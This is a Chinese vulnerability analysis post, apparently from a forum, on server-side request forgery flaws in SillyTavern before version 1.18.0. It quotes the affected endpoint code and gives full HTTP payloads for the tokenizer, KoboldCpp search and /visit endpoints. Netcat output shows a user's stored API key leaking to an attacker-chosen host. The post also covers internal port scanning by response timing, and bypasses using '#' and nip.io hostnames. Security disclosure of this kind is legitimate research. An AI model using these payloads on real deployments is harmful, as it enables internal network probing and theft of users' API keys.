「漏洞分析」SillyTavern 1.18.0之前设计缺陷导致的多个ssrf端点与key泄漏

「漏洞分析」SillyTavern 1.18.0之前设计缺陷导致的多个ssrf端点与key泄漏
「漏洞分析」SillyTavern 1.18.0之前设计缺陷导致的多个ssrf端点与key泄漏

Tokenizer端点ssrf

file:src/endpoints/tokenizers.js

/remote/kobold/count

虽然他们被设计出来就是用于api通行的 但是事实上他们可以造成内网的扫描 例如在多租户的docker环境中


router.post('/remote/kobold/count', async function (request, response) {
    if (!request.body) {
        return response.sendStatus(400);
    }
    const text = String(request.body.text) || '';
    const baseUrl = String(request.body.url);

    try {
        const args = {
            method: 'POST',
            body: JSON.stringify({ 'prompt': text }),
            headers: { 'Content-Type': 'application/json' },
        };

        let url = String(baseUrl).replace(/\/$/, '');
        url += '/extra/tokencount';

        const result = await fetch(url, args);

        if (!result.ok) {
            console.warn(`API returned error: ${result.status} ${result.statusText}`);
            return response.send({ error: true });
        }

        /** @type {any} */
        const data = await result.json();
        const count = data.value;
        const ids = data.ids ?? [];
        return response.send({ count, ids });
    } catch (error) {
        console.error(error);
        return response.send({ error: true });
    }
});

请求直接写入了 const baseUrl = String(request.body.url); 无过滤

虽然没有返回内容都只是{ error: true } 但测试下来依旧可以通过延时判断内网端口开放状态若存在瞬间返回,若端口不存在延迟约三秒返回,构成ssrf

payload:

POST /api/tokenizers/remote/kobold/count HTTP/1.1
Host: 127.0.0.1:8000
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Accept: */*
Cache-Control: max-age=0
Sec-Fetch-Mode: cors
Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Sec-Fetch-Dest: empty
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

{"text": "hello", "url": "http://172.19.0.1:8080"}

/remote/textgenerationwebui/encode ssrf+kay泄漏

router.post('/remote/textgenerationwebui/encode', async function (request, response) {
    if (!request.body) {
        return response.sendStatus(400);
    }
    const text = String(request.body.text) || '';
    const baseUrl = String(request.body.url); //用户控制 无验证
    const model = String(request.body.model) || '';

    try {
        const args = {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
        };

        setAdditionalHeaders(request, args, baseUrl); // 关键 调用设置函数 在头添加密钥

        // Convert to string + remove trailing slash + /v1 suffix
        let url = String(baseUrl).replace(/\/$/, '').replace(/\/v1$/, '');

        switch (request.body.api_type) {
            case TEXTGEN_TYPES.TABBY:
                url += '/v1/token/encode';
                args.body = JSON.stringify({ 'text': text, 'add_bos_token': false });
                break;
            case TEXTGEN_TYPES.KOBOLDCPP:
                url += '/api/extra/tokencount';
                args.body = JSON.stringify({ 'prompt': text, 'special': false });
                break;
            case TEXTGEN_TYPES.LLAMACPP:
                url += '/tokenize';
                args.body = JSON.stringify({ 'model': model, 'content': text });
                break;
            case TEXTGEN_TYPES.VLLM:
                url += '/tokenize';
                args.body = JSON.stringify({ 'model': model, 'prompt': text });
                break;
            case TEXTGEN_TYPES.APHRODITE:
                url += '/v1/tokenize';
                args.body = JSON.stringify({ 'model': model, 'prompt': text });
                break;
            default:
                url += '/v1/internal/encode';
                args.body = JSON.stringify({ 'text': text });
                break;
        }

        const result = await fetch(url, args); //带上附加的头

        if (!result.ok) {
            console.warn(`API returned error: ${result.status} ${result.statusText}`);
            return response.send({ error: true });
        }

        /** @type {any} */
        const data = await result.json();
        const count = (data?.length ?? data?.count ?? data?.value ?? data?.tokens?.length);
        const ids = (data?.tokens ?? data?.ids ?? []);

        return response.send({ count, ids });
    } catch (error) {
        console.error(error);
        return response.send({ error: true });
    }
});

观察代码不难注意到setAdditionalHeaders(request, args, baseUrl);这个函数,它又指向setAdditionalHeadersByType,在这个函数中key被赋值

export function setAdditionalHeadersByType(requestHeaders, type, server, directories) {
    const headerGetters = {
        [TEXTGEN_TYPES.MANCER]: getMancerHeaders,
        [TEXTGEN_TYPES.VLLM]: getVllmHeaders,
        [TEXTGEN_TYPES.APHRODITE]: getAphroditeHeaders,
        [TEXTGEN_TYPES.TABBY]: getTabbyHeaders,
        [TEXTGEN_TYPES.TOGETHERAI]: getTogetherAIHeaders,
        [TEXTGEN_TYPES.OOBA]: getOobaHeaders,
        [TEXTGEN_TYPES.INFERMATICAI]: getInfermaticAIHeaders,
        [TEXTGEN_TYPES.DREAMGEN]: getDreamGenHeaders,
        [TEXTGEN_TYPES.OPENROUTER]: getOpenRouterHeaders,
        [TEXTGEN_TYPES.KOBOLDCPP]: getKoboldCppHeaders,
        [TEXTGEN_TYPES.LLAMACPP]: getLlamaCppHeaders,
        [TEXTGEN_TYPES.FEATHERLESS]: getFeatherlessHeaders,
        [TEXTGEN_TYPES.HUGGINGFACE]: getHuggingFaceHeaders,
        [TEXTGEN_TYPES.GENERIC]: getGenericHeaders,
    };

    const getHeaders = headerGetters[type]; // 获得密钥
    const headers = getHeaders ? getHeaders(directories) : {};

    if (typeof server === 'string' && server.length > 0) {
        try {
            const url = new URL(server);
            const overrideHeaders = getOverrideHeaders(url.host);

            if (overrideHeaders && Object.keys(overrideHeaders).length > 0) {
                Object.assign(headers, overrideHeaders);
            }
        } catch {
            // Do nothing
        }
    }

    Object.assign(requestHeaders, headers);
}

效果如下

payload


POST /api/tokenizers/remote/textgenerationwebui/encode HTTP/1.1
Host: 127.0.0.1:8000
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Accept: */*
Cache-Control: max-age=0
Sec-Fetch-Mode: cors
Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Sec-Fetch-Dest: empty
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

{"text": "test", "url": "http://172.19.0.1:8080", "api_type": "tabby", "model": ""}

返回


nc -l 0.0.0.0 8080
POST /v1/token/encode HTTP/1.1
accept: */*
accept-encoding: gzip, deflate, br
authorization: Bearer 123123
content-length: 37
content-type: application/json
user-agent: node-fetch
x-api-key: 123123
Host: 172.19.0.1:8080
Connection: keep-alive

{"text":"test","add_bos_token":false}

关键 x-api-key: 123123

只要用户设置过的key 通过apitype就可以泄漏

KoboldCPP端点ssrf漏洞

看代码

router.post('/koboldcpp', async (request, response) => {
    try {
        const { query, url } = request.body;

        if (!url) {
            console.error('No URL provided for KoboldCpp search');
            return response.sendStatus(400);
        }

        console.debug('KoboldCpp search query', query);

        const baseUrl = trimV1(url);
        const args = {
            method: 'POST',
            headers: {},
            body: JSON.stringify({ q: query }),
        };

        setAdditionalHeaders(request, args, baseUrl);
        const result = await fetch(`${baseUrl}/api/extra/websearch`, args);

        if (!result.ok) {
            const text = await result.text();
            console.error('KoboldCpp request failed', result.statusText, text);
            return response.status(500).send(text);
        }

        const data = await result.json();
        console.debug('KoboldCpp search response', data);
        return response.json(data);
    } catch (error) {
        console.error(error);
        return response.sendStatus(500);
    }
});

一样的 关键点const baseUrl = trimV1(url);

在之后url会被拼接/api/extra/websearch 进行查询

没有过滤 白名单 于是我们可以构造出如下的 payload


POST /api/search/koboldcpp HTTP/1.1
Host: 127.0.0.1:8000
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Accept: */*
Cache-Control: max-age=0
Sec-Fetch-Mode: cors
Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Sec-Fetch-Dest: empty
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

{"query": "", "url": "http://172.19.0.1:8080"}

如果不想请求携带后面的接口 可以添加# 来绕过

{"query": "", "url": "http://172.19.0.1:8080#"}

nc -l 0.0.0.0 8080
POST / HTTP/1.1
accept: */*
accept-encoding: gzip, deflate, br
content-length: 8
content-type: text/plain;charset=UTF-8
user-agent: node-fetch
Host: 172.19.0.1:8080
Connection: keep-alive

{"q":""}

/visit 80,443端口 回显ssrf


router.post('/visit', async (request, response) => {
    try {
        const url = request.body.url;
        const html = Boolean(request.body.html ?? true);

        if (!url) {
            console.error('No url provided for /visit');
            return response.sendStatus(400);
        }

        try {
            const urlObj = new URL(url);

            // Reject relative URLs
            if (urlObj.protocol === null || urlObj.host === null) {
                throw new Error('Invalid URL format');
            }

            // Reject non-HTTP URLs
            if (urlObj.protocol !== 'http:' && urlObj.protocol !== 'https:') {
                throw new Error('Invalid protocol');
            }

            // Reject URLs with a non-standard port
            if (urlObj.port !== '') {
                throw new Error('Invalid port');
            }

            // Reject IP addresses
            if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) {
                throw new Error('Invalid hostname');
            }
        } catch (error) {
            console.error('Invalid url provided for /visit', url);
            return response.sendStatus(400);
        }

        console.info('Visiting web URL', url);

        const result = await fetch(url, { headers: visitHeaders });

        if (!result.ok) {
            console.error(`Visit failed ${result.status} ${result.statusText}`);
            return response.sendStatus(500);
        }

        const contentType = String(result.headers.get('content-type'));

        if (html) {
            if (!contentType.includes('text/html')) {
                console.error(`Visit failed, content-type is ${contentType}, expected text/html`);
                return response.sendStatus(500);
            }

            const text = await result.text();
            return response.send(text);
        }

        response.setHeader('Content-Type', contentType);
        const buffer = await result.arrayBuffer();
        return response.send(Buffer.from(buffer));
    } catch (error) {
        console.error(error);
        return response.sendStatus(500);
    }
});

这里的验证并不严格

关键的代码是

if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) {
                throw new Error('Invalid hostname');
            }

他用的是ip-regex模块匹配ip,不够完全 可以利用一些手段绕过 例如nip.io

http://127.0.0.1.nip.io 这个就指向127

payload:

POST /api/search/visit HTTP/1.1
Host: 127.0.0.1:8000
sec-ch-ua-mobile: ?0
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Accept: */*
Cache-Control: max-age=0
Sec-Fetch-Mode: cors
Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM
Origin: http://127.0.0.1:8000
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Sec-Fetch-Dest: empty
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 22

{"url": "http://172.19.0.1.nip.io", "html": false}

sudo nc -l 0.0.0.0 80
GET / HTTP/1.1
accept: text/html
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.5
cache-control: no-cache
connection: keep-alive
dnt: 1
pragma: no-cache
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
te: trailers
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Host: 172.19.0.1.nip.io

这个问题已经有安全报告了

GitHub

Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

### Details Distinct from CVE-2025-59159, CVE-2026-26286, and GHSA-vjv2-8gh6-4hc2 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname i...

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文